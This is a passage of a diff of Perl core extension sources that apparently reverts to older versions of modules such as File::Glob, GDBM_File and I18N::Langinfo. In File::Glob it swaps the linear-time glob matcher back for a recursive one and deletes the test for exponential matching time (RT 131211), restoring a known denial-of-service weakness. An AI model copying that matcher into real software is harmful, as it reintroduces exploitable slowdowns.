improved state machine logic to avoid quadratic - * matching on failure. - * - * https://research.swtch.com/glob - * - * An example would be a pattern - * ("a*" x 100) . "y" - * against a file name like - * ("a" x 100) . "x" - * + * pattern matching function for filenames. Each occurrence of the * + * pattern causes a recursion level. */ static int match(Char *name, Char *pat, Char *patend, int nocase) { int ok, negate_range; Char c, k; - Char *nextp = NULL; - Char *nextn = NULL; - redo: while (pat < patend) { c = *pat++; switch (c & M_MASK) { case M_ALL: if (pat == patend) return(1); - if (*name == BG_EOS) - return 0; - nextn = name + 1; - nextp = pat - 1; - break; + do + if (match(name, pat, patend, nocase)) + return(1); + while (*name++ != BG_EOS) + ; + return(0); case M_ONE: - /* since * matches leftmost-shortest first * - * if we encounter the EOS then backtracking * - * will not help, so we can exit early here. */ if (*name++ == BG_EOS) - return 0; + return(0); break; case M_SET: ok = 0; - /* since * matches leftmost-shortest first * - * if we encounter the EOS then backtracking * - * will not help, so we can exit early here. */ if ((k = *name++) == BG_EOS) - return 0; + return(0); if ((negate_range = ((*pat & M_MASK) == M_NOT)) != BG_EOS) ++pat; while (((c = *pat++) & M_MASK) != M_END) @@ -976,25 +953,16 @@ match(Char *name, Char *pat, Char *patend, int nocase) } else if (nocase ? (tolower(c) == tolower(k)) : (c == k)) ok = 1; if (ok == negate_range) - goto fail; + return(0); break; default: k = *name++; if (nocase ? (tolower(k) != tolower(c)) : (k != c)) - goto fail; + return(0); break; } } - if (*name == BG_EOS) - return 1; - - fail: - if (nextn) { - pat = nextp; - name = nextn; - goto redo; - } - return 0; + return(*name == BG_EOS); } /* Free allocated data belonging to a glob_t structure. */ diff --git a/ext/File-Glob/t/rt131211.t b/ext/File-Glob/t/rt131211.t deleted file mode 100644 index 4ac0d8729dc2..000000000000 --- a/ext/File-Glob/t/rt131211.t +++ /dev/null @@ -1,112 +0,0 @@ -# tests for RT 131211 -# -# non-matching glob("a*a*a*...") went exponential time on number of a*'s - - -use strict; -use warnings; -use v5.16.0; -use File::Temp 'tempdir'; -use File::Spec::Functions; -use Test::More; -use Time::HiRes qw(time); -use Config; - -plan skip_all => 'This platform doesn\'t use File::Glob' - if $Config{ccflags} =~ /\b{wb}-DPERL_EXTERNAL_GLOB\b{wb}/; -plan tests => 13; - -my $path = tempdir uc cleanup => 1; -my @files= ( - "x".("a" x 50)."b", # 0 - "abbbbbbbbbbbbc", # 1 - "abbbbbbbbbbbbd", # 2 - "aaabaaaabaaaabc", # 3 - "pq", # 4 - "r", # 5 - "rttiiiiiii", # 6 - "wewewewewewe", # 7 - "weeeweeeweee", # 8 - "weewweewweew", # 9 - "wewewewewewewewewewewewewewewewewq", # 10 - "wtttttttetttttttwr", # 11 -); - - -# VMS needs a real extension. -map { $_ .= '.tmp' } @files if $^O eq 'VMS'; - -foreach (@files) { - open(my $f, ">", catfile $path, $_); -} - -my $elapsed_fail= 0; -my $elapsed_match= 0; -my @got_files; -my @no_files; -my $count = 0; - -while (++$count < 10) { - $elapsed_match -= time; - @got_files= glob catfile $path, "x".("a*" x $count) . "b"; - $elapsed_match += time; - - $elapsed_fail -= time; - @no_files= glob catfile $path, "x".("a*" x $count) . "c"; - $elapsed_fail += time; - last if $elapsed_fail > ($elapsed_match < 0.2 ? 0.2 : $elapsed_match) * 100; -} - -is $count,10, - "tried all the patterns without bailing out" - or diag("elapsed_match=$elapsed_match elapsed_fail=$elapsed_fail"); - -SKIP: { - skip "unstable or too small timing", 1 unless - $elapsed_match >= 0.001 && $elapsed_fail >= 0.001; - ok $elapsed_fail <= 10 * $elapsed_match, - "time to fail less than 10x the time to match" - or diag("elapsed_match=$elapsed_match elapsed_fail=$elapsed_fail"); -} - -is "@got_files", catfile($path, $files[0]), - "only got the expected file for xa*..b"; -is "@no_files", "", "shouldnt have files for xa*..c"; - - -@got_files= glob catfile $path, "a*b*b*b*bc"; -is "@got_files", catfile($path, $files[1]), - "only got the expected file for a*b*b*b*bc"; - -@got_files= sort glob catfile $path, "a*b*b*bc"; -is "@got_files", catfile($path, $files[3])." ".catfile($path,$files[1]), - "got the expected two files for a*b*b*bc"; - -@got_files= sort glob catfile $path, "p*"; -is "@got_files", catfile($path, $files[4]), - "p* matches pq"; - -@got_files= sort glob catfile $path, "r*???????"; -is "@got_files", catfile($path, $files[6]), - "r*??????? works as expected"; - -@got_files= sort glob catfile $path, "w*e*w??e"; -is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8)), - "w*e*w??e works as expected"; - -@got_files= sort glob catfile $path, "w*e*we??"; -is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8,9,10)), - "w*e*we?? works as expected"; - -@got_files= sort glob catfile $path, "w**e**w"; -is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (9)), - "w**e**w works as expected"; - -@got_files= sort glob catfile $path, "*wee*"; -is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (8,9)), - "*wee* works as expected"; - -@got_files= sort glob catfile $path, "we*"; -is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8,9,10)), - "we* works as expected"; - diff --git a/ext/FileCache/lib/FileCache.pm b/ext/FileCache/lib/FileCache.pm index 0834719d9b9d..149e88133efd 100644 --- a/ext/FileCache/lib/FileCache.pm +++ b/ext/FileCache/lib/FileCache.pm @@ -1,6 +1,6 @@ package FileCache; -our $VERSION = '1.10'; +our $VERSION = '1.09'; =head1 NAME @@ -91,8 +91,8 @@ no strict 'refs'; # These are not C for legacy reasons. # Previous versions requested the user set $cacheout_maxopen by hand. # Some authors fiddled with %saw to overcome the clobber on initial open. -our %saw; -our $cacheout_maxopen = 16; +use vars qw(%saw $cacheout_maxopen); +$cacheout_maxopen = 16; use parent 'Exporter'; our @EXPORT = qw[cacheout cacheout_close]; diff --git a/ext/FileCache/t/01open.t b/ext/FileCache/t/01open.t index c01b25a424e4..07e01bac86c1 100644 --- a/ext/FileCache/t/01open.t +++ b/ext/FileCache/t/01open.t @@ -2,7 +2,7 @@ use FileCache; -our @files; +use vars qw(@files); BEGIN { @files = qw(foo bar baz quux Foo_Bar) } END { 1 while unlink @files } diff --git a/ext/FileCache/t/02maxopen.t b/ext/FileCache/t/02maxopen.t index f3470c1086b5..00dbb1bd5435 100644 --- a/ext/FileCache/t/02maxopen.t +++ b/ext/FileCache/t/02maxopen.t @@ -1,7 +1,7 @@ #!./perl use FileCache maxopen => 2; -our @files; +use vars qw(@files); BEGIN { @files = qw(foo bar baz quux) } END { 1 while unlink @files } diff --git a/ext/FileCache/t/03append.t b/ext/FileCache/t/03append.t index 3a8267935773..f765d445ce52 100644 --- a/ext/FileCache/t/03append.t +++ b/ext/FileCache/t/03append.t @@ -1,7 +1,7 @@ #!./perl use FileCache maxopen => 2; -our @files; +use vars qw(@files); BEGIN { @files = qw(foo bar baz quux Foo_Bar) } END { 1 while unlink @files } diff --git a/ext/FileCache/t/06export.t b/ext/FileCache/t/06export.t index 9a46e2bebb1a..0fafe3bcd6ca 100644 --- a/ext/FileCache/t/06export.t +++ b/ext/FileCache/t/06export.t @@ -1,5 +1,5 @@ #!./perl -our (@funcs, $i); +use vars qw(@funcs $i); BEGIN { # Functions exported by FileCache; diff --git a/ext/GDBM_File/GDBM_File.pm b/ext/GDBM_File/GDBM_File.pm index a33b8b59b122..a06fa13884b8 100644 --- a/ext/GDBM_File/GDBM_File.pm +++ b/ext/GDBM_File/GDBM_File.pm @@ -20,16 +20,12 @@ module you should really have a copy of the gdbm manualpage at hand. Most of the libgdbm.a functions are available through the GDBM_File interface. -Unlike Perl's built-in hashes, it is not safe to C the current -item from a GDBM_File tied hash while iterating over it with C. -This is a limitation of the gdbm library. - =head1 AVAILABILITY gdbm is available from any GNU archive. The master site is C, but you are strongly urged to use one of the many mirrors. You can obtain a list of mirror sites from -L. +http://www.gnu.org/order/ftp.html. =head1 BUGS @@ -73,7 +69,7 @@ require XSLoader; ); # This module isn't dual life, so no need for dev version numbers. -$VERSION = '1.17'; +$VERSION = '1.15'; XSLoader::load(); diff --git a/ext/GDBM_File/GDBM_File.xs b/ext/GDBM_File/GDBM_File.xs index 7f910491166f..33e08e20d130 100644 --- a/ext/GDBM_File/GDBM_File.xs +++ b/ext/GDBM_File/GDBM_File.xs @@ -23,6 +23,8 @@ typedef datum datum_key ; typedef datum datum_value ; typedef datum datum_key_copy; +#define GDBM_BLOCKSIZE 0 /* gdbm defaults to stat blocksize */ + #if defined(GDBM_VERSION_MAJOR) && defined(GDBM_VERSION_MINOR) \ && GDBM_VERSION_MAJOR > 1 || \ (GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR >= 9) @@ -79,28 +81,17 @@ gdbm_TIEHASH(dbtype, name, read_write, mode) char * name int read_write int mode - PREINIT: - GDBM_FILE dbp; CODE: - dbp = gdbm_open(name, 0, read_write, mode, (FATALFUNC)croak_string); - if (!dbp && gdbm_errno == GDBM_BLOCK_SIZE_ERROR) { - /* - * By specifying a block size of 0 above, we asked gdbm to - * default to the filesystem's block size. That's usually the - * right size to choose. But some versions of gdbm require - * a power-of-two block size, and some unusual filesystems - * or devices have a non-power-of-two size that cause this - * defaulting to fail. In that case, force an acceptable - * block size. - */ - dbp = gdbm_open(name, 4096, read_write, mode, - (FATALFUNC)croak_string); - } - if (dbp) { - RETVAL = (GDBM_File)safecalloc(1, sizeof(GDBM_File_type)); - RETVAL->dbp = dbp; - } else { - RETVAL = NULL; + { + GDBM_FILE dbp ; + + RETVAL = NULL ; + if ((dbp = gdbm_open(name, GDBM_BLOCKSIZE, read_write, mode, + (FATALFUNC) croak_string))) { + RETVAL = (GDBM_File)safecalloc(1, sizeof(GDBM_File_type)) ; + RETVAL->dbp = dbp ; + } + } OUTPUT: RETVAL diff --git a/ext/Hash-Util-FieldHash/FieldHash.xs b/ext/Hash-Util-FieldHash/FieldHash.xs index 9cfd87a694b8..2fcb612525a0 100644 --- a/ext/Hash-Util-FieldHash/FieldHash.xs +++ b/ext/Hash-Util-FieldHash/FieldHash.xs @@ -431,7 +431,7 @@ OUTPUT: void CLONE(char* classname) CODE: - if (strEQ(classname, "Hash::Util::FieldHash")) { + if (0 == strcmp(classname, "Hash::Util::FieldHash")) { HUF_global(aTHX_ HUF_CLONE); HUF_fix_objects(aTHX); } diff --git a/ext/Hash-Util-FieldHash/lib/Hash/Util/FieldHash.pm b/ext/Hash-Util-FieldHash/lib/Hash/Util/FieldHash.pm index 7b39cca450ac..0d0b7921c3ce 100644 --- a/ext/Hash-Util-FieldHash/lib/Hash/Util/FieldHash.pm +++ b/ext/Hash-Util-FieldHash/lib/Hash/Util/FieldHash.pm @@ -5,7 +5,7 @@ use strict; use warnings; use Scalar::Util qw( reftype); -our $VERSION = '1.20'; +our $VERSION = '1.19'; require Exporter; our @ISA = qw(Exporter); diff --git a/ext/Hash-Util-FieldHash/t/12_hashwarn.t b/ext/Hash-Util-FieldHash/t/12_hashwarn.t index 3fd6bfd2dd28..5841c8004696 100644 --- a/ext/Hash-Util-FieldHash/t/12_hashwarn.t +++ b/ext/Hash-Util-FieldHash/t/12_hashwarn.t @@ -7,7 +7,8 @@ use strict; use warnings; use Hash::Util::FieldHash qw( :all); -our @warnings; +use vars qw{ @warnings }; + BEGIN { $SIG{'__WARN__'} = sub { push @warnings, @_ }; $| = 1; diff --git a/ext/Hash-Util/t/Util.t b/ext/Hash-Util/t/Util.t index c52a8e4b8849..4a12fd1764fb 100644 --- a/ext/Hash-Util/t/Util.t +++ b/ext/Hash-Util/t/Util.t @@ -606,9 +606,9 @@ ok(defined($hash_seed) && $hash_seed ne '', "hash_seed $hash_seed"); my $array1= bucket_array({}); my $array2= bucket_array({1..10}); is("@info1","0 8 0"); - like("@info2[0,1]",qr/5 (?:8|16)/); + is("@info2[0,1]","5 8"); is("@stats1","0 8 0"); - like("@stats2[0,1]",qr/5 (?:8|16)/); + is("@stats2[0,1]","5 8"); my @keys1= sort map { ref $_ ? @$_ : () } @$array1; my @keys2= sort map { ref $_ ? @$_ : () } @$array2; is("@keys1",""); diff --git a/ext/Hash-Util/t/builtin.t b/ext/Hash-Util/t/builtin.t index 0705f8420633..3654c9bc1a5e 100644 --- a/ext/Hash-Util/t/builtin.t +++ b/ext/Hash-Util/t/builtin.t @@ -26,15 +26,13 @@ is(used_buckets(%hash), 1, "hash should have one used buckets"); $hash{$_}= $_ for 2..7; -like(bucket_ratio(%hash), qr!/(?:8|16)!, "hash has expected number of buckets in bucket_ratio"); -my $num= num_buckets(%hash); -ok(($num == 8 || $num == 16), "hash should have 8 or 16 buckets"); +like(bucket_ratio(%hash), qr!/8!, "hash has expected number of buckets in bucket_ratio"); +is(num_buckets(%hash), 8, "hash should have eight buckets"); cmp_ok(used_buckets(%hash), "<", 8, "hash should have one used buckets"); $hash{8}= 8; -like(bucket_ratio(%hash), qr!/(?:8|16)!, "hash has expected number of buckets in bucket_ratio"); -$num= num_buckets(%hash); -ok(($num == 8 || $num == 16), "hash should have 8 or 16 buckets"); +like(bucket_ratio(%hash), qr!/16!, "hash has expected number of buckets in bucket_ratio"); +is(num_buckets(%hash), 16, "hash should have sixteen buckets"); cmp_ok(used_buckets(%hash), "<=", 8, "hash should have at most 8 used buckets"); diff --git a/ext/I18N-Langinfo/Langinfo.pm b/ext/I18N-Langinfo/Langinfo.pm index 8ba76f2d5125..033d8de1d7cb 100644 --- a/ext/I18N-Langinfo/Langinfo.pm +++ b/ext/I18N-Langinfo/Langinfo.pm @@ -72,7 +72,7 @@ our @EXPORT_OK = qw( YESSTR ); -our $VERSION = '0.17'; +our $VERSION = '0.13'; XSLoader::load(); @@ -90,9 +90,7 @@ I18N::Langinfo - query locale information =head1 DESCRIPTION The langinfo() function queries various locale information that can be -used to localize output and user interfaces. It uses the current underlying -locale, regardless of whether or not it was called from within the scope of -S>. The langinfo() requires +used to localize output and user interfaces. The langinfo() requires one numeric argument that identifies the locale constant to query: if no argument is supplied, C<$_> is used. The numeric constants appropriate to be used as arguments are exportable from I18N::Langinfo. @@ -113,19 +111,13 @@ answers for a yes/no question in the current locale. In other words, in the "C" (or English) locale the above will probably print something like: - Sun? [yes/no] + Sun? [yes/no] but under a French locale - dim? [oui/non] + dim? [oui/non] -The usually available constants are as follows. - -=over 4 - -=item * - -For abbreviated and full length days of the week and months of the year: +The usually available constants are ABDAY_1 ABDAY_2 ABDAY_3 ABDAY_4 ABDAY_5 ABDAY_6 ABDAY_7 ABMON_1 ABMON_2 ABMON_3 ABMON_4 ABMON_5 ABMON_6 @@ -134,140 +126,51 @@ For abbreviated and full length days of the week and months of the year: MON_1 MON_2 MON_3 MON_4 MON_5 MON_6 MON_7 MON_8 MON_9 MON_10 MON_11 MON_12 -=item * - -For the date-time, date, and time formats used by the strftime() function -(see L): +for abbreviated and full length days of the week and months of the year, D_T_FMT D_FMT T_FMT -=item * - -For the locales for which it makes sense to have ante meridiem and post -meridiem time formats: +for the date-time, date, and time formats used by the strftime() function +(see L) AM_STR PM_STR T_FMT_AMPM -=item * - -For the character code set being used (such as "ISO8859-1", "cp850", -"koi8-r", "sjis", "utf8", etc.), and for the currency string: +for the locales for which it makes sense to have ante meridiem and post +meridiem time formats, - CODESET CRNCYSTR + CODESET CRNCYSTR RADIXCHAR -=item * - -For an alternate representation of digits, for the +for the character code set being used (such as "ISO8859-1", "cp850", +"koi8-r", "sjis", "utf8", etc.), for the currency string, for the radix character used between the integer and the fractional part -of decimal numbers, the group separator string for large-ish floating point -numbers (yes, the final two are redundant with -L): - - ALT_DIGITS RADIXCHAR THOUSEP - -=item * - -For the affirmative and negative responses and expressions: +of decimal numbers (yes, this is redundant with POSIX::localeconv()) YESSTR YESEXPR NOSTR NOEXPR -=item * - -For the eras based on typically some ruler, such as the Japanese Emperor -(naturally only defined in the appropriate locales): +for the affirmative and negative responses and expressions, and ERA ERA_D_FMT ERA_D_T_FMT ERA_T_FMT -=back - -Starting in Perl 5.28, this module is available even on systems that lack a -native C. On such systems, it uses various methods to construct -what that function, if present, would return. But there are potential -glitches. These are the items that could be different: - -=over - -=item C - -Unimplemented, so returns C<"">. - -=item C - -Unimplemented, except on Windows, due to the vagaries of vendor locale names, -returning C<""> on non-Windows. - -=item C - -=item C - -=item C - -=item C - -Only the values for English are returned. C and C have been -removed from POSIX 2008, and are retained here for backwards compatibility. -Your platform's C may not support them. +for the Japanese Emperor eras (naturally only defined under Japanese locales). -=item C - -Always evaluates to C<%x>, the locale's appropriate date representation. - -=item C - -Always evaluates to C<%X>, the locale's appropriate time representation. - -=item C - -Always evaluates to C<%c>, the locale's appropriate date and time -representation. - -=item C - -The return may be incorrect for those rare locales where the currency symbol -replaces the radix character. -Send email to L if you have examples of it needing -to work differently. - -=item C - -Currently this gives the same results as Linux does. -Send email to L if you have examples of it needing -to work differently. - -=item C - -=item C - -=item C - -=item C - -These are derived by using C, and not all versions of that function -know about them. C<""> is returned for these on such systems. - -=back - -See your L for more information about the available +See your L for more information about the available constants. (Often this means having to look directly at the F C header file.) -=head2 EXPORT - -By default only the C function is exported. +Note that unfortunately none of the above constants are guaranteed +to be available on a particular platform. To be on the safe side +you can wrap the import in an eval like this: -=head1 BUGS + eval { + require I18N::Langinfo; + I18N::Langinfo->import(qw(langinfo CODESET)); + $codeset = langinfo(CODESET()); # note the () + }; + if ($@) { ... failed ... } -Before Perl 5.28, the returned values are unreliable for the C and -C locale constants. +=head2 EXPORT -Starting in 5.28, changing locales on threaded builds is supported on systems -that offer thread-safe locale functions. These include POSIX 2008 systems and -Windows starting with Visual Studio 2005, and this module will work properly -in such situations. However, on threaded builds on Windows prior to Visual -Studio 2015, retrieving the items C and C can result in a -race with a thread that has converted to use the global locale. It is quite -uncommon for a thread to have done this. It would be possible to construct a -workaround for this; patches welcome: see L. +By default only the C function is exported. =head1 SEE ALSO @@ -277,13 +180,13 @@ The langinfo() is just a wrapper for the C nl_langinfo() interface. =head1 AUTHOR -Jarkko Hietaniemi, Ejhi@hut.fiE. Now maintained by Perl 5 porters. +Jarkko Hietaniemi, Ejhi@hut.fiE =head1 COPYRIGHT AND LICENSE Copyright 2001 by Jarkko Hietaniemi This library is free software; you can redistribute it and/or modify -it under the same terms as Perl itself. +it under the same terms as Perl itself. =cut diff --git a/ext/I18N-Langinfo/Langinfo.xs b/ext/I18N-Langinfo/Langinfo.xs index 904b424b192b..582b7fa634c6 100644 --- a/ext/I18N-Langinfo/Langinfo.xs +++ b/ext/I18N-Langinfo/Langinfo.xs @@ -1,6 +1,4 @@ #define PERL_NO_GET_CONTEXT -#define PERL_EXT -#define PERL_EXT_LANGINFO #include "EXTERN.h" #include "perl.h" @@ -9,8 +7,6 @@ #ifdef I_LANGINFO # define __USE_GNU 1 /* Enables YESSTR, otherwise only __YESSTR. */ # include -#else -# include #endif #include "const-c.inc" @@ -24,77 +20,17 @@ INCLUDE: const-xs.inc SV* langinfo(code) int code - PREINIT: - const char * value; - STRLEN len; PROTOTYPE: _ CODE: #ifdef HAS_NL_LANGINFO if (code < 0) { SETERRNO(EINVAL, LIB_INVARG); RETVAL = &PL_sv_undef; - } else -#endif - { - value = Perl_langinfo(code); - len = strlen(value); - RETVAL = newSVpvn(Perl_langinfo(code), len); - - /* Now see if the UTF-8 flag should be turned on */ -#ifdef USE_LOCALE_CTYPE /* No utf8 strings if not using LC_CTYPE */ - - /* If 'value' is ASCII or not legal UTF-8, the flag doesn't get - * turned on, so skip the followin code */ - if (is_utf8_non_invariant_string((U8 *) value, len)) { - int category; - - /* Check if the locale is a UTF-8 one. The returns from - * Perl_langinfo() are in different locale categories, so check the - * category corresponding to this item */ - switch (code) { - - /* This should always return ASCII, so we could instead - * legitimately panic here, but soldier on */ - case CODESET: - category = LC_CTYPE; - break; - - case RADIXCHAR: - case THOUSEP: -# ifdef USE_LOCALE_NUMERIC - category = LC_NUMERIC; -# else - /* Not ideal, but the best we can do on such a platform */ - category = LC_CTYPE; -# endif - break; - - case CRNCYSTR: -# ifdef USE_LOCALE_MONETARY - category = LC_MONETARY; -# else - category = LC_CTYPE; -# endif - break; - - default: -# ifdef USE_LOCALE_TIME - category = LC_TIME; -# else - category = LC_CTYPE; -# endif - break; - } - - /* Here the return is legal UTF-8. Turn on that flag if the - * locale is UTF-8. (Otherwise, could just be a coincidence.) - * */ - if (_is_cur_LC_category_utf8(category)) { - SvUTF8_on(RETVAL); - } - } -#endif /* USE_LOCALE_CTYPE */ + } else { + RETVAL = newSVpv(nl_langinfo(code), 0); } - +#else + croak("nl_langinfo() not implemented on this architecture"); +#endif OUTPUT: - RETVAL + RETVAL diff --git a/ext/I18N-Langinfo/t/Langinfo.t b/ext/I18N-Langinfo/t/Langinfo.t index f0768fbaa428..deaaf2851e41 100644 --- a/ext/I18N-Langinfo/t/Langinfo.t +++ b/ext/I18N-Langinfo/t/Langinfo.t @@ -2,42 +2,15 @@ use strict; use Config; use Test::More; -require "../../t/loc_tools.pl"; plan skip_all => "I18N::Langinfo or POSIX unavailable" if $Config{'extensions'} !~ m!\bI18N/Langinfo\b!; -my @times = qw( MON_1 MON_2 MON_3 MON_4 MON_5 MON_6 MON_7 - MON_8 MON_9 MON_10 MON_11 MON_12 - DAY_1 DAY_2 DAY_3 DAY_4 DAY_5 DAY_6 DAY_7); -my @constants = qw(ABDAY_1 DAY_1 ABMON_1 RADIXCHAR AM_STR THOUSEP D_T_FMT - D_FMT T_FMT); -push @constants, @times; +my @constants = qw(ABDAY_1 DAY_1 ABMON_1 MON_1 RADIXCHAR AM_STR THOUSEP D_T_FMT D_FMT T_FMT); -my %want = - ( - RADIXCHAR => ".", - THOUSEP => "", - ); - -# Abbreviated and full are swapped in many locales in early netbsd -if ( $Config{osname} !~ / netbsd /ix - || $Config{osvers} !~ / ^ [1-6] \. /x) -{ - $want{ABDAY_1} = "Sun"; - $want{DAY_1} = "Sunday"; - $want{ABMON_1} = "Jan"; - $want{MON_1} = "January"; -} - -my @want = sort keys %want; - -plan tests => 1 + 3 * @constants + keys(@want) + 1 + 2; - -use_ok('I18N::Langinfo', 'langinfo', @constants, 'CRNCYSTR'); +plan tests => 1 + 3 * @constants; -use POSIX; -setlocale(LC_ALL, "C"); +use_ok('I18N::Langinfo', 'langinfo', @constants); for my $constant (@constants) { SKIP: { @@ -49,103 +22,53 @@ for my $constant (@constants) { } } +exit(0); + +# Background: the langinfo() (in C known as nl_langinfo()) interface +# is supposed to be a portable way to fetch various language/country +# (locale) dependent constants like "the first day of the week" or +# "the decimal separator". Give a portable (numeric) constant, +# get back a language-specific string. That's a comforting fantasy. +# Now tune in for blunt reality: vendors seem to have implemented for +# those constants whatever they felt like implementing. The UNIX +# standard says that one should have the RADIXCHAR constant for the +# decimal separator. Not so for many Linux and BSD implementations. +# One should have the CODESET constant for returning the current +# codeset (say, ISO 8859-1). Not so. So let's give up any real +# testing (leave the old testing code here for old times' sake, +# though.) --jhi + +my %want = + ( + ABDAY_1 => "Sun", + DAY_1 => "Sunday", + ABMON_1 => "Jan", + MON_1 => "January", + RADIXCHAR => ".", + AM_STR => qr{^(?:am|a\.m\.)$}i, + THOUSEP => "", + D_T_FMT => qr{^%a %b %[de] %H:%M:%S %Y$}, + D_FMT => qr{^%m/%d/%y$}, + T_FMT => qr{^%H:%M:%S$}, + ); + + +my @want = sort keys %want; + +print "1..", scalar @want, "\n"; + for my $i (1..@want) { my $try = $want[$i-1]; eval { I18N::Langinfo->import($try) }; - SKIP: { - skip "$try not defined", 1, if $@; - no strict 'refs'; - is (langinfo(&$try), $want{$try}, "$try => '$want{$try}'"); + unless ($@) { + my $got = langinfo(&$try); + if (ref $want{$try} && $got =~ $want{$try} || $got eq $want{$try}) { + print qq[ok $i - $try is "$got"\n]; + } else { + print qq[not ok $i - $try is "$got" not "$want{$try}"\n]; + } + } else { + print qq[ok $i - Skip: $try not defined\n]; } } -my $comma_locale; -for (find_locales( [ 'LC_NUMERIC' ] )) { - use POSIX; - use locale; - setlocale(LC_NUMERIC, $_) or next; - my $in = 4.2; # avoid any constant folding bugs - my $s = sprintf("%g", $in); - if ($s eq "4,2") { - $comma_locale = $_; - last; - } -} - -SKIP: { - skip "Couldn't find a locale with a comma decimal pt", 1 - unless $comma_locale; - - no strict 'refs'; - is (langinfo(&RADIXCHAR), ",", - "Returns ',' for decimal pt for locale '$comma_locale'"); -} - -SKIP: { - - my $found_time = 0; - my $found_monetary = 0; - my @locales = find_locales( [ 'LC_TIME', 'LC_CTYPE', 'LC_MONETARY' ]); - - while (defined (my $utf8_locale = find_utf8_ctype_locale(\@locales))) { - if (! $found_time) { - setlocale(&LC_TIME, $utf8_locale); - foreach my $time_item (@times) { - my $eval_string = "langinfo(&$time_item)"; - my $time_name = eval $eval_string; - if ($@) { - fail("'$eval_string' failed: $@"); - last SKIP; - } - if (! defined $time_name) { - fail("'$eval_string' returned undef"); - last SKIP; - } - if ($time_name eq "") { - fail("'$eval_string' returned an empty name"); - last SKIP; - } - - if ($time_name =~ /\P{ASCII}/) { - ok(utf8::is_utf8($time_name), "The name for '$time_item' in $utf8_locale is a UTF8 string"); - $found_time = 1; - last; - } - } - } - - if (! $found_monetary) { - setlocale(&LC_MONETARY, $utf8_locale); - my $eval_string = "langinfo(&CRNCYSTR)"; - my $symbol = eval $eval_string; - if ($@) { - fail("'$eval_string' failed: $@"); - last SKIP; - } - if (! defined $symbol) { - fail("'$eval_string' returned undef"); - last SKIP; - } - if ($symbol =~ /\P{ASCII}/) { - ok(utf8::is_utf8($symbol), "The name for 'CRNCYSTR' in $utf8_locale is a UTF8 string"); - $found_monetary = 1; - } - } - - last if $found_monetary && $found_time; - - # Remove this locale from the list, and loop to find another utf8 - # locale - @locales = grep { $_ ne $utf8_locale } @locales; - } - - if ($found_time + $found_monetary < 2) { - my $message = ""; - $message .= "time name" unless $found_time; - if (! $found_monetary) { - $message .= " nor" if $message; - "monetary name"; - } - skip("Couldn't find a locale with a non-ascii $message", 2 - $found_time - $found_monetary); - } -} diff --git a/ext/NDBM_File/Makefile.PL b/ext/NDBM_File/Makefile.PL index fe2cb407f572..a8adbf012185 100644 --- a/ext/NDBM_File/Makefile.PL +++ b/ext/NDBM_File/Makefile.PL @@ -4,4 +4,5 @@ WriteMakefile( LIBS => ["-L/usr/local/lib -lndbm", "-ldbm -lucb"], XSPROTOARG => '-noprototypes', # XXX remove later? VERSION_FROM => 'NDBM_File.pm', + INC => ($^O eq "MacOS" ? "-i ::::db:include" : "") ); diff --git a/ext/ODBM_File/ODBM_File.pm b/ext/ODBM_File/ODBM_File.pm index 99799bc52098..31840257a374 100644 --- a/ext/ODBM_File/ODBM_File.pm +++ b/ext/ODBM_File/ODBM_File.pm @@ -7,7 +7,7 @@ require Tie::Hash; require XSLoader; our @ISA = qw(Tie::Hash); -our $VERSION = "1.15"; +our $VERSION = "1.14"; XSLoader::load(); diff --git a/ext/ODBM_File/ODBM_File.xs b/ext/ODBM_File/ODBM_File.xs index 9b708119aeee..eaa1923c36f1 100644 --- a/ext/ODBM_File/ODBM_File.xs +++ b/ext/ODBM_File/ODBM_File.xs @@ -175,7 +175,6 @@ odbm_STORE(db, key, value, flags = DBM_REPLACE) croak("odbm store returned %d, errno %d, key \"%s\"", RETVAL,errno,key.dptr); } - PERL_UNUSED_VAR(flags); int odbm_DELETE(db, key) diff --git a/ext/Opcode/Opcode.pm b/ext/Opcode/Opcode.pm index 9d97ef154012..642b96e32c1d 100644 --- a/ext/Opcode/Opcode.pm +++ b/ext/Opcode/Opcode.pm @@ -6,7 +6,7 @@ use strict; our($VERSION, @ISA, @EXPORT_OK); -$VERSION = "1.43"; +$VERSION = "1.39"; use Carp; use Exporter (); @@ -353,7 +353,7 @@ These memory related ops are not included in :base_core because they can easily be used to implement a resource attack (e.g., consume all available memory). - concat multiconcat repeat join range + concat repeat join range anonlist anonhash diff --git a/ext/Opcode/Opcode.xs b/ext/Opcode/Opcode.xs index 1401b25f1bb9..5928fcf86950 100644 --- a/ext/Opcode/Opcode.xs +++ b/ext/Opcode/Opcode.xs @@ -255,7 +255,7 @@ PROTOTYPES: ENABLE BOOT: { MY_CXT_INIT; - STATIC_ASSERT_STMT(PL_maxo < OP_MASK_BUF_SIZE); + assert(PL_maxo < OP_MASK_BUF_SIZE); opset_len = (PL_maxo + 7) / 8; if (opcode_debug >= 1) warn("opset_len %ld\n", (long)opset_len); diff --git a/ext/POSIX/Makefile.PL b/ext/POSIX/Makefile.PL index 5d5c009c3c96..bdaa4b67475a 100644 --- a/ext/POSIX/Makefile.PL +++ b/ext/POSIX/Makefile.PL @@ -20,9 +20,6 @@ if ($^O eq 'solaris') { if ($^O eq 'aix' && $Config{uselongdouble}) { push @libs, qw(c128); } -if ($^O eq 'cygwin' && $Config{usequadmath}) { - push @libs, qw(quadmath); -} WriteMakefile( NAME => 'POSIX', @libs ? ( 'LIBS' => [ join(" ", map { "-l$_" } @libs) ] ) : (), @@ -50,8 +47,7 @@ my @names = ESOCKTNOSUPPORT ESPIPE ESRCH ESTALE ETIME ETIMEDOUT ETOOMANYREFS ETXTBSY EUSERS EWOULDBLOCK EXDEV FILENAME_MAX F_OK HUPCL ICANON ICRNL IEXTEN IGNBRK IGNCR IGNPAR INLCR INPCK INT_MAX INT_MIN ISIG ISTRIP IXOFF IXON - LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION LC_MEASUREMENT - LC_MESSAGES LC_MONETARY LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME + LC_ALL LC_COLLATE LC_CTYPE LC_MESSAGES LC_MONETARY LC_NUMERIC LC_TIME LINK_MAX LONG_MAX LONG_MIN L_ctermid L_cuserid MAX_CANON MAX_INPUT MB_LEN_MAX MSG_CTRUNC MSG_DONTROUTE MSG_EOR MSG_OOB MSG_PEEK 